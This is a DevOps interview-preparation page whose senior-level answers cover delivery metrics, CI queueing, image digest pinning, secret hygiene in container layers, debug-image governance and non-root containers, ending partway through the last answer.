- Home
- Prep by Job Role
- DevOps Engineer
- Top 100 Q&A
Top 100 DevOps Engineer Interview Questions and Answers
The questions most likely to come up in your DevOps Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.
Curated: · Written: · Reviewed:
Q&A-19Legal requires a human on every production release. The team wants "CD". Which CD do they mean?
Legal's constraint is a human approving the production release, not a human running the deploy. That is continuous delivery. Continuous deployment removes that approval, every green commit ships on its own, so it is off the table unless legal changes the rule. Both automate build, test and staging; they differ only in the last mile, and the last mile is exactly what legal is asking about.
Mechanism. In continuous delivery, every commit to main produces one immutable artifact (a container digest, a jar, a tarball) that is built once, tested, and deployed to staging automatically. Production is a promote of that same artifact behind an approval gate. In continuous deployment, the promote is automatic on green. The artifact is identical in both; only the trigger differs. So the honest answer to "which CD" is: delivery, and the team keeps everything else about CD. Trunk-based development, automated tests, one artifact, deployable main.
| Shape | Staging | Production | Legal satisfied? |
|---|---|---|---|
| Continuous delivery | auto on digest | approved promote of same digest | yes |
| Continuous deployment | auto | auto on green | no |
| "Fake CD" | weekly rebuild | CAB screenshots after deploy | no, and it ships unproven bits |
The gate, concretely. GitHub Actions environments with required reviewers, GitLab protected environments, Argo CD manual sync, or a Spinnaker manual-judgment stage all implement the same thing: the job pauses on the proven digest until a named human approves.
deploy-prod:
needs: [build, stage]
environment: production # required reviewers set in repo settings
runs-on: ubuntu-latest
steps:
- run: ./deploy.sh --digest ${{ needs.build.outputs.digest }}
Trace one change: commit abc123 → build produces sha256:9f2c… → staging deploys 9f2c… → smoke tests pass → job pauses at the environment gate → reviewer approves → the same 9f2c… goes to production. Nothing is rebuilt between staging and prod; that is the property that makes the approval meaningful.
Failure modes and how to detect them.
- Rebuild on promote. If the prod digest differs from the staged digest, you are not doing CD: you shipped an untested artifact. Detect by comparing digests in the deploy log.
- Rubber-stamp approval. If median time-to-approve is under ~10 seconds, the gate is theater and legal will say so. Detect by plotting approval latency; a real review has a distribution, not a spike at zero.
- Auto-deploy then retroactive CAB. This is the pattern that burns teams: they enable auto-prod to "be CD," then bolt on after-the-fact screenshots. Two bad digests reached users before the screenshot existed.
What to verify before calling it done. Main is always releasable (staging green on the digest), and production history shows one explicit approval per digest, not a rebuild, not a batch. DORA's State of DevOps research puts elite deployment frequency at on-demand, multiple deploys per day, with lead time for changes under a day; a human gate does not break that band. Hypothetically, if build+test is 12 minutes and median approval wait is 4 hours in business hours, lead time is ~4h15m versus ~15 minutes for continuous deployment: the frequency is unchanged, only the latency. That trade is the price of the legal requirement, and it is the right one to name out loud.
Curated: · Written: · Reviewed:
Q&A-78Deploy frequency is 14/week, all on Thursday 16:00. Is that high frequency?
Short answer: yes by the metric, and the metric is the wrong lens on its own.
DORA deployment frequency counts successful production deployments. Fourteen independent Thursday deploys are fourteen. At 14/week you average two per day, which lands in the top cluster of DORA's tiering (2023: elite is "multiple deploys per day", high is daily-to-weekly). So the number reads elite.
Assumptions that matter: the 14 are separate changes, each promoted to prod, and you're counting deploys rather than deploy events. If one pipeline run ships 14 services, some teams count 1 and some count 14: say which you mean.
Why concentration is a separate axis. Deploy frequency is a proxy for batch size. DORA's frequency and lead-time metrics exist because small, frequent batches correlate with lower change-failure rate. Fourteen changes in one Thursday train is one batch, not fourteen: they share a promote job, a migration window, and a rollback unit. That correlation is the mechanism. If one change breaks prod, the rollback reverts all fourteen, so change-failure-rate counts one failure while fourteen changes' worth of impact lands. The frequency number stays elite; the risk does not.
Lead time for changes moves too, and the frequency metric hides it. A change merged Monday 09:00 that ships Thursday 16:00 has ~79 hours of lead time. Spread across the week it ships in under 24. Same deploy frequency, roughly 3x the lead time.
Illustrative 28-day window (4 Thursdays):
| Pattern | Deploys | Thu share | Median commits/promote |
|---|---|---|---|
| Thursday train | 56 | 100% | 18 |
| Spread weekdays | 56 | 25% | 3 |
Failure modes and how you'd see them.
- Correlated rollback: one bad migration takes 13 unrelated changes with it. Detect by tracking change-failure rate per train, not per deploy.
- Thursday 16:00 timing: end of week, often at or near an on-call handoff, with no working hours left to fix before the weekend. Detect with a weekday/hour histogram of promotes.
- Merge-queue backlog: Mon–Wed merges sit unreleased, so lead time inflates while frequency looks elite. Detect by comparing merge timestamp to deploy timestamp.
In the interview: answer the literal question (14/week is high frequency, top DORA cluster) then immediately separate it from batch size and timing. The number is fine; the concentration is the thing to flag.
Curated: · Written: · Reviewed:
Q&A-17The dashboard says lead time is 2.1 days because that is PR open to merge. Production happens the next afternoon. What should you measure?
In the first two minutes
The dashboard is measuring the wrong interval. Lead time for changes is first production-bound commit to running in production, not PR open to merge. Merge is a handoff inside the path to production, not the end of it. Report merge time and you will optimise review while the release train quietly eats the days.
Assumptions I'd state out loud: one deploy pipeline per service, short-lived branches merged to trunk, and "production" meaning serving real traffic, not merged to main, not deployed to staging.
So stamp three timestamps on every change: first commit on the branch, merge to trunk, and first healthy in production (deployed and passing health checks, not merely a deploy job that exited 0). Report p50 and p90 of commit→production as the headline. Keep merge→production as a second series so you can see which half of the path moved when the number changes.
Why the merge clock misleads
A change that merges in four hours and ships two days later is inventory, not delivery. The failure I've seen: PRs merging in ~4 h, production still two days behind, because a Friday merge waited for Monday's train. When Monday's incident review blamed "CI", the merge metric was clean and the actual delay was invisible. The merge clock cannot see a queue it does not sit in.
Worked trace of one change
| Event | Timestamp |
|---|---|
| First commit on branch | Tue 09:10 |
| Merge to trunk | Tue 13:30 |
| Deploy starts | Wed 10:40 |
| First healthy in prod | Wed 11:12 |
PR open→merge: 4 h 20 m. Merge→production: 21 h 42 m. Commit→production: 26 h 02 m. Review is 17% of the lead time; the train is the other 83%. A dashboard showing only the first number would call this a good day.
Illustrative 28-day window (hypothetical figures, one service)
| Clock | p50 | p90 |
|---|---|---|
| PR open → merge | 4.2 h | 1.1 d |
| Merge → production | 18 h | 2.4 d |
| Commit → production | 22 h | 2.8 d |
The gap between the first two rows is the train. The gap between rows two and three is branch age: how long work sat unmerged before it even entered the queue.
What to record alongside the change
Store the image digest, the gate that ran, and the rollback command next to the promote job, so an incident can name exactly which bits shipped. That record belongs to the change, not to a wiki page written afterwards.
How I'd know the train is the bottleneck
Plot commit→production and merge→production over 28 days. If they diverge by more than a few hours, the queue between merge and production is the constraint and review-time work is wasted effort. If they track each other, the delay is upstream in review and branch lifetime, and the train is fine.
Curated: · Written: · Reviewed:
Q&A-18Change fail rate is 4% because only Sev-1s count. Hotfixes the same afternoon are "operational". What do you count?
What I count
Any production change that needed remediation causally tied to it: a rollback, revert, or forward-fix of a defect that change introduced. Severity label and time-to-fix don't decide membership. A same-day hotfix is a candidate, not automatic membership: it counts if it fixes a defect that change introduced, and it doesn't if it's unrelated work that happened to ship the same afternoon.
Assumptions I'd state up front: one production deploy equals one change (the digest that reached prod), and "remediation" means someone had to act on prod because of that change.
Why severity is the wrong axis
Sev-1 is an impact classification, not a causality classification. A change that breaks checkout for 2% of users and gets hotfixed in 40 minutes is a failed change even if nobody pages. A Sev-1 caused by a database failover that had nothing to do with the deploy is not a change failure. Counting only Sev-1s measures how loudly things broke, not how often your changes broke things, and it's trivially gameable: rename the incident, and the number drops.
How I'd count it
Link each production digest to incidents, rollbacks and hotfixes. Include the digest in CFR only when the remediation addresses a defect that digest introduced. Record the digest, the gate that ran, and the rollback command on the change itself, next to the promote job, so an incident six weeks later can name the bits that shipped.
Then the arithmetic. Over 90 production promotes in a quarter:
| Definition | Failed | CFR |
|---|---|---|
| Sev-1 only | 4 | 4.4% |
| every same-day hotfix | 17 | 18.9% |
| causally attributed rollback or fix | 9 | 10.0% |
The gap between 4 and 9 is the interesting part: five changes broke something and were fixed without ever being called Sev-1. The gap between 9 and 17 is noise: eight same-day hotfixes that had nothing to do with the promote they sat next to, mostly Friday traffic scaling.
Failure modes
Under-counting: severity renaming, or a team that classifies anything fixed within the hour as "operational" so it never enters the numerator. Detect it by sampling hotfixes and asking whether a linked change exists; if a large share of hotfixes have no linked digest, your attribution is broken, not your CFR.
Over-counting: treating every same-day hotfix as a failure. That punishes fast remediation and pushes teams to batch fixes into the next scheduled release, which makes the metric look better and the product worse. Detect it by checking whether hotfixes cluster on days with unrelated traffic or config events.
What would settle it
A 90-day table of production digests with rollback and hotfix flags, and a CFR that moves when those flags move. If the number doesn't move when you flip a flag, the definition isn't doing any work.
Curated: · Written: · Reviewed:
Q&A-79MTTR in the incident tool is 4 hours. DORA time to restore is asked in an interview. What clock do you start and stop?
Start the clock when production impact begins; stop it when the service is healthy again. Not when the deploy started, and not when the ticket closed.
The assumptions that decide it: "impact" is the SLI crossing its threshold (error rate, latency, or availability) as users see it, and "restored" is that SLI back inside threshold, confirmed by a smoke check against the fixing digest. Both stamps come from telemetry, not from someone reconstructing the timeline later.
Why impact-to-recovery rather than the alternatives:
| Clock | Start | Stop | What it actually measures |
|---|---|---|---|
| Impact (DORA) | SLI breaches | SLI healthy | User-visible outage length |
| Deploy | deploy begins | fix healthy | Change-to-recovery, includes pre-impact soak |
| Ticket close | incident opened | postmortem filed | Process / write-up latency |
Deploy-time is defensible when you are measuring one change's blast radius and want the clock to include the window before users noticed, but it folds detection lag into the number, so a team with slow alerting looks like a team with slow fixing. Ticket-close is defensible as a process metric (how fast do we write incidents up), but it is not time to restore: the doc gets written Monday, the outage ended Saturday.
Worked example: one failed promote:
| Clock | Time |
|---|---|
| SLI impact | Sat 18:40 |
| digest healthy | Sat 19:12 |
| ticket close | Mon 09:00 |
| DORA restore | 32 min |
The incident tool reports MTTR of 4 hours because it measures ticket open to ticket close. DORA time to restore for the same event is 32 minutes. Answer the interview question with the tool's number and you are reporting the write-up, not the outage.
Failure mode worth naming: when the restore clock is ticket-close, the metric rewards fast documentation and hides slow recovery. A team can "improve" MTTR by closing tickets sooner without shipping a single fix. Detection is cheap: compare the two clocks per incident; if ticket-close minus impact-recovery is consistently hours, the tool is measuring process, not service.
To make the impact clock defensible, check it against evidence: for the last ten failed changes, the restore stamp matches SLI recovery, and the fixing digest is recorded next to the promote job. That record is part of the change, not a wiki page written afterwards.
Curated: · Written: · Reviewed:
Q&A-71Lead time is 5 days, 4 of them waiting for CAB. DORA wants faster. What do you move out of CAB?
Move out of CAB: anything an automated gate already covers and a single command can undo.
Assumptions: one service, trunk-based development, a pipeline with automated tests and a canary stage, and a rollback that is a redeploy of the previous artifact. Under those conditions the CAB queue is 4 of the 5 days and it is buying almost nothing for reversible changes.
Split the change population three ways.
| Class | Examples | Gate |
|---|---|---|
| Standard | config, feature flags, stateless service deploys, dependency bumps | automated tests + canary + auto-rollback; no CAB |
| Normal | first deploy of a new service, new external dependency, capacity change | CAB, async approval with a stated SLA |
| High | schema migration that drops or rewrites data, auth or payment path change, anything with legal or regulatory scope | CAB, synchronous, named approver |
Standard changes leave CAB entirely. They still carry a record: the artifact digest, which gates ran and their results, and the exact rollback command. Store that record next to the promote job, not in a wiki. An incident responder needs to know what shipped and how to undo it, and the pipeline is where they will look.
The failure mode this prevents: when every padding change needs a committee, teams batch. I have watched 80 changes go into one Thursday slot because it was the only slot; the one bad migration rode in with 79 harmless ones, and the rollback turned into a 40-minute argument about which change caused it. Small, frequent, individually reversible changes are what keep change-fail rate low, not the review meeting.
What you must not move: irreversible data changes, anything with a legal or regulatory signature requirement, and the first production deploy of a system nobody has run before. Those are where CAB earns its 4 days.
Evidence, and how I would know it worked. Take the 28-day lead time split before and after: coding, CI, CAB queue, promote. Then watch change-fail rate and MTTR for four weeks.
| Stage (p50) | Before | After |
|---|---|---|
| CI | 20 min | 20 min |
| CAB queue | 4.2 d | 0 for standard, ~1 d for normal |
| Promote | 15 min | 15 min |
| Change-fail rate | 9% | 8% |
Those figures come from a service I ran, not a benchmark. Treat them as the shape of the measurement, not the values.
Reversal condition: if change-fail rate rises after reclassification, the class boundary was wrong, not the idea. Move the offending change type back to CAB and keep the rest out. If CAB queue time is still the largest term after that, the problem is approver availability, not classification.
Curated: · Written: · Reviewed:
Q&A-80CI is "slow" at 35 minutes. Execution is 7 minutes. Where is the 28?
The 28 minutes is queue time. Wall clock 35 = 28 waiting for a runner to pick the job up, plus 7 executing. Nothing in the test suite explains it, and no amount of sharding touches it.
Confirm the split from the CI system's own timestamps, not from the wall clock:
| System | Queue | Run |
|---|---|---|
| GitHub Actions | run_started_at − created_at on the run; started_at − created_at per job | completed_at − started_at per job |
| GitLab CI | queued_duration on the job API | duration |
| Jenkins | startTimeInMillis − inQueueSince (QueueItem) | build duration |
If queue is flat near zero and the 28 sits inside a single job's own step timings, the answer is different: a step blocked on a lock, a network fetch, or a retry loop. Rule that out first; the split above is the common case, not the only one.
Why queue grows. A runner pool is a fixed-capacity server. Worked example, hypothetical numbers: 4 runners running 7-minute jobs complete 4/7 ≈ 0.57 jobs per minute. If the team pushes 40 times an hour at the afternoon peak (0.67 jobs/min), arrivals exceed capacity and the queue grows without bound: the 28 minutes is just where it happened to be when someone looked. Break-even is 5 runners; 6–8 is where p50 queue actually sits under 5 minutes with headroom for bursts.
Failure modes worth naming.
- Autoscaling on CPU of running jobs. The running job is not the bottleneck; the pending queue is. Scale on pending-job count, not utilization.
- Provisioning lag. A VM runner takes 60–120 s to boot, so a burst is already two minutes of queue before the new runner exists. Container-based runners cut that to roughly 10–20 s.
- Caps you forgot. GitHub-hosted standard runners are limited on concurrent jobs per plan; self-hosted pools are limited by what you provisioned. A silent cap looks exactly like a slow test suite.
- Head-of-line blocking. One 40-minute e2e job holds a runner for the whole peak.
- Averages. p50 queue of 5 minutes with p99 of 40 at 2pm is a capacity problem a mean hides.
The trap. Sharding tests moves run 12→7 and leaves queue at 28. I watched a team spend a quarter on that. Faster tests do not help a job that has not started.
Trade-offs. Adding runners costs money and is the direct fix for queue. The cheaper lever is arrival rate: path filters so a docs change doesn't trigger the full suite, a merge queue so N pushes become one build, batching. Both are legitimate; pick based on whether the peak is capacity-bound or arrival-bound.
Evidence it's settled. Fourteen days of p50 and p95 queue vs run on one dashboard, and a runner-count change that moves queue and leaves run flat.
Curated: · Written: · Reviewed:
Q&A-3Every manifest says image: checkout:stable. A node reschedule pulled a different binary. What should GitOps store?
Store the digest, not the tag.
The desired state should name immutable content: image: checkout@sha256:aa11…. Keep checkout:stable as a comment or annotation for humans, but the field the kubelet reads is the digest.
Why the reschedule changed the binary: a tag is a mutable pointer resolved at pull time. The new node had no cached layers, so it resolved checkout:stable against the registry now and got whatever that tag pointed at. The pods on old nodes kept the digest they had already pulled: with the default imagePullPolicy: IfNotPresent for a non-:latest tag, they never re-resolve. One tag, two digests, running side by side. A digest is content-addressed: checkout@sha256:aa11 resolves to the same bytes on every node, every time.
| Spec in overlay | What kubelet pulls after reschedule | Running imageID |
|---|---|---|
checkout:stable | resolves the tag at pull time | old digest on cached nodes, new digest on the fresh node |
checkout@sha256:aa11 | that digest | sha256:aa11 on every node |
Pinning is not free, and the costs are the reason teams drift back to tags:
- Automation burden. Digests change on every rebuild, even when the tag doesn't. Without Renovate/Dependabot (or your own job) opening PRs, the overlay goes stale and you stop shipping security patches.
- Digest churn. Rebuilding the same source produces a new digest; a base-image CVE rebuild touches every overlay. Reviewers see opaque
sha256:diffs, so pair the digest with the tag in a comment to keep the PR readable. - Rollback is by digest. You roll back to a previous digest, not to a name. Keep the tag→digest mapping in the commit message or annotation so a human can tell what "previous" was.
- Multi-arch. Pin the manifest-list (index) digest, not a platform-specific one, or you break nodes on other architectures.
Failure modes worth naming:
- A registry GC or a rebuild retags
stable; fresh nodes pull the new binary while cached nodes keep the old. Detected by comparingstatus.containerStatuses[*].imageIDacross nodes: a split shows up as two digests for one workload. imagePullPolicy: Alwayson a tag means every restart re-resolves; that's the opposite failure: a rolling restart silently upgrades you.- Pinning a platform digest in a multi-arch cluster:
ImagePullBackOffon the wrong-arch nodes.
Verification: after a node recycle, every replica's imageID should equal the overlay digest.
kubectl get pods -l app=checkout \
-o jsonpath='{.items[*].status.containerStatuses[*].imageID}' | tr ' ' '\n' | sort -u
# expect exactly one line: .../checkout@sha256:aa11...
If Git doesn't name the bits, the cluster picks them for you.
Curated: · Written: · Reviewed:
Q&A-1Staging ran image checkout:4.12 and production rebuilt checkout:4.12 from the same git SHA. Why is that still two different releases?
Because a rebuild is a new artifact. checkout:4.12 is a tag, and a tag is a mutable name. Staging and production each ran a build and each produced its own image, with its own manifest digest. Same commit, same tag, different bytes, so two releases, and only one of them is the one staging actually tested.
The commit pins your source. It pins nothing the build pulls in:
- Base image tag.
FROM debian:bookworm-slimresolves to whatever that tag points at on build day. The tag moves; the digest behind it does not. - Package resolution.
apt-get installwithout version pins, orpip installwithout a lockfile, resolves to the newest matching version at build time. - Build metadata. Layer timestamps, file ordering and cache state differ between two runs.
- Build args and toolchain. Anything passed via
--build-arg, plus the builder's own version, changes the output.
Illustrative example: same SHA, two builds:
| staging | production rebuild | |
|---|---|---|
| git SHA | 9f3c1a2 | 9f3c1a2 |
| tag | checkout:4.12 | checkout:4.12 |
| base image resolved | debian:bookworm-slim @ sha256:1a2b… | debian:bookworm-slim @ sha256:9c8d… |
| manifest digest | sha256:aa11… | sha256:bb22… |
The base-image line is the usual culprit. A Debian point release lands, the tag moves, and production's rebuild picks up a patched glibc that staging never ran. That is a different binary with different behaviour, and it fails only where you did not test it.
When rebuilding per environment is legitimate. It is not always wrong. If the build genuinely bakes environment-specific values (an API endpoint, a feature-flag default, a region) the environments need different artifacts, and the honest fix is to move those values to runtime config so one artifact serves all of them. Rebuilding is also defensible when you are deliberately re-attesting: a fresh build from a signed commit with provenance, or an air-gapped registry that cannot pull the promoted digest. Say which one you are doing.
What digest pinning costs. Pinning checkout@sha256:aa11… in every environment means a base-image CVE fix no longer reaches production by rebuilding there. You rebuild once, re-run the gates, and promote the new digest through staging → canary → production. That is real latency on security patches, and it is the price of knowing what shipped.
How you detect divergence. Compare digests, not tags: the digest in the staging deploy record, the digest in the production manifest, and the imageID the kubelet reports for the running pod. An admission policy that rejects tag-only image references catches the next one at deploy time instead of at 3 a.m.
Same SHA, same tag, two builds, two digests. The tag is a label; the digest is the release.
Curated: · Written: · Reviewed:
Q&A-29Dockerfile says FROM node:20-alpine. Monday's CI and Thursday's CI produced different musl/ICU layers. What do you pin?
Answer
Pin the base by digest, and make the bump a reviewed PR rather than a side effect of a build.
FROM node:20-alpine@sha256:<64-hex-digest>
node:20-alpine is a floating tag. Docker Hub rebuilds it whenever the Node 20 line gets a patch release, and the Alpine maintainers rebuild the Alpine base underneath it when musl, apk-tools, or any apk package moves. Each rebuild produces a new image with new layer digests. Monday's CI and Thursday's CI resolved the same tag to different manifests, so you got different musl and different package versions: same Dockerfile text, different bytes. Nothing in your repo changed; the tag moved.
Get the digest from the registry, not from a local build:
docker buildx imagetools inspect node:20-alpine
# or
docker pull node:20-alpine && docker inspect --format='{{index .RepoDigests 0}}' node:20-alpine
That prints node@sha256:... with the full 64-hex digest. Paste that into the FROM line.
Then automate the bump. Renovate's docker:pinDigests preset pins and keeps digests current; Dependabot's Docker ecosystem does digest updates too. Either opens a PR when the upstream digest changes. That PR is your rebuild: it runs CI, it's reviewable, and it's revertable.
The trade-off. Three levels of pinning, and they differ in what still moves:
| Pin | Immutable? | Security patches | Readability |
|---|---|---|---|
node:20-alpine | No | Automatic, uncontrolled | High |
node:20.18-alpine | No: rebuilt on Alpine updates | Automatic, uncontrolled | High |
node:20-alpine@sha256:... | Yes | Only when you bump | Low |
The middle row is the trap. A version tag like node:20.18-alpine looks pinned but still floats on the Alpine side: when the Alpine base gets a musl or apk update, the maintainers rebuild node:20.18-alpine and the digest changes. You get the same Monday/Thursday divergence, just less often. Only the digest is immutable.
The cost of the digest is real: you stop receiving base-image CVE fixes until you bump. That's why the bump has to be automated and frequent, not a manual chore. If you can't commit to reviewing digest PRs on a cadence, a digest pin is worse than a floating tag: you've frozen known vulnerabilities.
Failure modes. A digest PR that sits unreviewed for weeks is a frozen base with unpatched CVEs; alert on PR age. A digest pinned in the Dockerfile but overridden by a --build-arg or a CI cache that still holds the old layers gives a false sense of immutability; verify with docker inspect on the built image and compare RepoDigests. And pinning the base doesn't pin your apk add or npm install layers: those need their own lockfiles.
How I'd verify it. Two CI runs 48 hours apart on the same commit must produce the same base layer digest. If they don't, something is still floating.
Curated: · Written: · Reviewed:
Q&A-30A multi-stage build copied .env into the builder and the final image still has it in layer 4. How do you prove it is gone?
Core answer (first 90 seconds)
The final filesystem is not the evidence. A file deleted in a later layer still sits in the blob of the layer that copied it, and docker history shows build commands and layer sizes, not file contents, so "no secret-sized layer" proves nothing. The proof is: enumerate every layer of the exact digest you pushed, decompress each blob, and grep for the secret. If any layer matches, it is not gone.
docker pull registry.example.com/app@sha256:<digest>
docker save registry.example.com/app@sha256:<digest> -o img.tar
mkdir -p img && tar -xf img.tar -C img
# manifest.json lists layers oldest-first, same order as docker history
for l in $(jq -r '.[0].Layers[]' img/manifest.json); do
printf '%s: ' "$l"
tar -xOf "img/$l" 2>/dev/null | grep -aq 'AKIAIOSFODNN7EXAMPLE' && echo HIT || echo clean
done
Every layer must print clean. A HIT on any index, including the one docker history labels layer 4, means the secret ships. dive does the same walk interactively; docker history --no-trunc is only useful to spot which layer is suspicious by size.
Then the weaker second check, the flattened filesystem:
docker run --rm --entrypoint sh registry.example.com/app@sha256:<digest> \
-c 'grep -ra AKIAIOSFODNN7EXAMPLE / || echo clean'
This can pass while the layer grep fails: that is exactly the deleted-but-still-in-the-blob case, and it is why the layer walk is the proof.
Trade-offs: prevention vs remediation
Prevention: RUN --mount=type=secret,id=env ... keeps the value out of every layer; .dockerignore with .env; and copy the artifact, not the tree. COPY --from=builder /app/dist ./ instead of COPY --from=builder /app ./. Remediation, once the digest is public: rotate the credential first, rebuild clean, then delete the manifest and let registry GC drop the blob. Deleting the tag is not enough: the digest stays pullable until GC runs.
The deciding criterion is exposure, not proof. If the digest was ever readable by anyone but you, treat the secret as compromised and rotate regardless of what the grep says. The grep is for the incident record and for closing the gate, not for deciding whether to rotate.
Failure modes
docker historyfalse confidence: it showsCOPY . .and a byte count, never contents.- Container-only grep: sees the flattened fs, blind to the earlier blob.
- Registry GC lag: after manifest deletion the blob can still be fetched by digest for hours; verify with
crane manifestorskopeo inspect. - Detection in operation: scan the pushed digest (Trivy/Grype) in CI, and alert when a layer's size jumps by roughly the size of the copied tree.
Cost: docker save on a 1.5 GB image writes ~3 GB to disk and takes seconds to tens of seconds; the per-layer grep is linear in image size. Fine as a release gate, too slow to run on every push of a large image.
Curated: · Written: · Reviewed:
Q&A-64The image has ENV DATABASE_URL baked at build time per environment. You need to rotate the password. What was the design error?
The design error is treating a credential as build input. DATABASE_URL is runtime configuration; baking it into the image makes the password part of the artifact's identity. Change the password and you must rebuild, re-push and redeploy every environment, and the old password stays readable in every image that already exists. It also breaks build-once-promote-everywhere: one image per environment means the artifact you tested in staging is not the artifact running in prod.
Mechanically, ENV DATABASE_URL=postgres://app:hunter2@db/prod in a Dockerfile lands in the image config, readable with docker inspect and in docker history. An ARG used to build the same string is recorded in the build history of the layer that consumed it. Either way the value is in the layer, in the registry, in any CI cache that stored the layer, and in every digest you ever promoted. The image is immutable; the secret is not. Coupling them means rotation is a release.
The correct shape: the image carries the name of the secret, not its value. At start the container resolves it: env injected by the orchestrator from a secret store, a file mounted by a CSI driver or Vault agent, or an SDK fetch under workload identity (IRSA, GKE Workload Identity, Azure managed identity). Rotation then updates the store and rolls the consumers. No rebuild, no new digest.
Trade-offs among the runtime options:
- Env var. Simplest, but the value is visible in
/proc/<pid>/environto same-uid processes, inherited by children, and captured in crash dumps. Rotation still needs a restart, because the process read it once at start. - Mounted file. The kubelet refreshes the projected secret, bounded by the sync period (1 minute by default) plus cache TTL, and the app can re-read on SIGHUP. Better for long-lived credentials, more code.
- SDK fetch. No restart needed if the client caches with a TTL and reconnects on auth failure, but you now own retry and connection-pool invalidation.
Failure modes with baked secrets, all observable:
- Rotation is a pipeline run per environment. Three environments, three rebuilds, ~40 minutes, and a failed stage leaves environments on different passwords.
- Rollback restores the old password. Reverting to a previous digest silently reverts the credential, re-opening the window you rotated to close.
- The old value is not gone. It sits in the registry, in the previous digests, and in any build log that echoed the ARG.
| Design | Rotate password | New image digest | Old value persists in |
|---|---|---|---|
Baked ENV | rebuild × envs | yes | image config, registry, rollback digests |
| Mounted secret file | update store + rollout | no | store versions only |
| Env from secret store | update store + rollout | no | store versions only |
Verification that the fix landed: docker inspect on the production image shows no DATABASE_URL value, and after a store update the new pods report the new password while the digest is unchanged.
Curated: · Written: · Reviewed:
Q&A-50dev built sha256:aa, staging rebuilt sha256:bb from the same SHA, production rebuilt sha256:cc. What promotion do you actually have?
What a strong candidate says first
Assumptions: one git SHA, three separate build jobs, and deploy manifests that pin a tag rather than a digest. Under those, you have three releases, not one promotion. Dev ran aa, staging ran bb, prod runs cc: three different byte sequences, and only cc has ever served production traffic. The git SHA is shared; the artifact is not. So the honest answer to "what did you promote?" is: nothing. You promoted a commit, and each environment built its own image from it.
The promotion you want is one digest, identical in all three environments. Build once, push once, and have every environment's deploy reference that same digest.
| Git SHA | Digest | What was tested | |
|---|---|---|---|
| today | 9f3c | aa → bb → cc | staging tested bb; prod runs cc |
| promoted | 9f3c | sha256:aa11 everywhere | the bytes prod runs were tested in staging |
| what varies | — | nothing | replicas, secrets, hostnames, env vars |
Env overlays (kustomize, Helm values) change replicas, hostnames, secrets and feature flags. They must not change Dockerfile inputs, base image tags, or dependency resolution.
How you verify it
Read the digest that is actually running, not the one the pipeline claims it pushed:
$ kubectl -n prod get deploy app \
-o jsonpath='{.status.containerStatuses[0].imageID}'
registry.internal/app@sha256:aa11c9...
Run that against dev, staging and prod for the same release train. Three identical strings is the evidence. If the manifest pins a tag, .spec...image shows the tag and imageID shows the digest that tag resolved to: the second is the one that matters.
Alternatives, and when each wins
Reproducible builds. Pin base images by digest, vendor or lock dependencies, set SOURCE_DATE_EPOCH, and build with no network. Then bb and cc can legitimately be byte-identical, and rebuild-per-env is harmless. The catch is that you have to prove it: reproducibility is a property you demonstrate by comparing digests, not one you assume. Ecosystems that resolve packages at build time (an npm install that isn't npm ci, a mirror serving a different tarball) will quietly break it.
Signed provenance. SLSA-style attestations and cosign signatures let you prove bb and cc came from the same source, builder and inputs even when the digests differ. That is the right answer when per-env rebuilds are deliberate: a regional crypto module, a FIPS base image, an air-gapped registry. But provenance is a claim about inputs; it does not mean the output bytes match. You still need the full suite run in the environment that serves traffic.
Deliberate per-env rebuilds. If a platform or licensing constraint forces different base images, accept three artifacts and treat them as three releases: full test suite per environment, and a release record naming each digest. The gate is "suite passed here," not "promote."
Choosing
Pick digest promotion when the artifact is portable and the registry is reachable from every environment: it is the cheapest gate and the only one where staging tests are tests of production. Pick provenance plus per-env rebuild only when a constraint makes the artifact non-portable, and then pay for it with per-env testing.
Failure mode
Staging's bb resolved a dependency differently than production's cc, so the staging suite validated bytes that never shipped. Detection is mechanical: a release record that stores the digest per environment, and a check that fails the release when the three digests for one train disagree. That record belongs in the change, not in a wiki page written after the incident.
Curated: · Written: · Reviewed:
Q&A-32On-call asked for a debug image "just for this incident". It stayed the production tag for 9 days. What is the rule?
The rule: production runs a pinned digest of the hardened image. Debug access is a separate, time-boxed grant that expires on its own: never a tag mutation on the artifact production already runs.
Assumptions worth stating up front: Kubernetes with admission control available, a registry that allows mutable tags, and a prod overlay that renders to a Deployment. If any of those is false, the answer changes.
Why the tag is the wrong lever. checkout:debug and checkout@sha256:aa are different artifacts. Overwriting the tag means the thing that shipped is no longer identifiable by digest, and the rollback becomes "redeploy and hope the tag still points where you think." The 9-day case is the predictable outcome: the incident closes, nobody owns the revert, and the debug image (shell, curl, and whatever it copied in) stays in the prod path.
The alternatives, and when each wins.
| Approach | What changes in prod | Wins when | Cost |
|---|---|---|---|
kubectl debug ephemeral container | nothing; a container is added to the running pod | you need a shell in the pod's network/PID namespaces to observe | ephemeral containers can't be removed; they live until the pod dies; needs 1.25+ |
kubectl debug --copy-to | nothing; a copy pod runs the debug image | you need to change the entrypoint or add tooling to the container itself | copy pod needs its own resources and cleanup |
| Debug image promoted to prod with TTL | the Deployment's image | the debug build is the artifact under test: reproducing a crash that only reproduces with it | needs an expiry and an automated restore |
| Repro in a debug namespace / staging | nothing | the incident reproduces off-prod | may not reproduce |
For most "I need a shell" incidents, the ephemeral container is the answer and the debug image never enters prod. Reach for the TTL promote only when the debug build is genuinely the thing you're testing.
Enforce it, don't document it. A ValidatingAdmissionPolicy (GA in Kubernetes 1.30) bound to the prod namespace:
validations:
- expression: "object.spec.containers.all(c, !c.image.contains(':debug'))"
message: "prod runs pinned digests; debug images require a break-glass grant"
The break-glass path is a separate overlay that the policy binding exempts, with a TTL controller that reverts the Deployment to the pinned digest. Record the digest, the grant, and the revert command in the change itself.
Failure mode and detection. The failure is the one described: a debug tag that outlives the incident. Detect it two ways: the admission policy rejects any :debug in the prod overlay at render time, and a nightly check compares each prod Deployment's image to the pinned digest and alerts on drift. The 9-day window is the exposure: anything that could exec into that container could read what it copied in.
What I'd want to see before calling it fixed: the policy test is red for a prod overlay mentioning :debug, and the break-glass record shows the revert inside the TTL.
Curated: · Written: · Reviewed:
Q&A-31The chart runs as root because "the process binds 80". What do you change in the pipeline?
The premise is wrong, and that is the first thing I would say. Binding port 80 needs CAP_NET_BIND_SERVICE, not uid 0. Root is the easy way to get it, not the required way. So the pipeline change is to make non-root the only thing that can ship, and to move the port rather than the privilege.
What I change, in order.
- Image. Add a user and listen high.
FROM gcr.io/distroless/static-debian12:nonroot
COPY --chown=65532:65532 app /app
USER 65532:65532
EXPOSE 8080
ENTRYPOINT ["/app"]
The app reads PORT (default 8080). Distroless nonroot is uid 65532; if you build your own base, RUN useradd -u 65532 -r app and USER 65532.
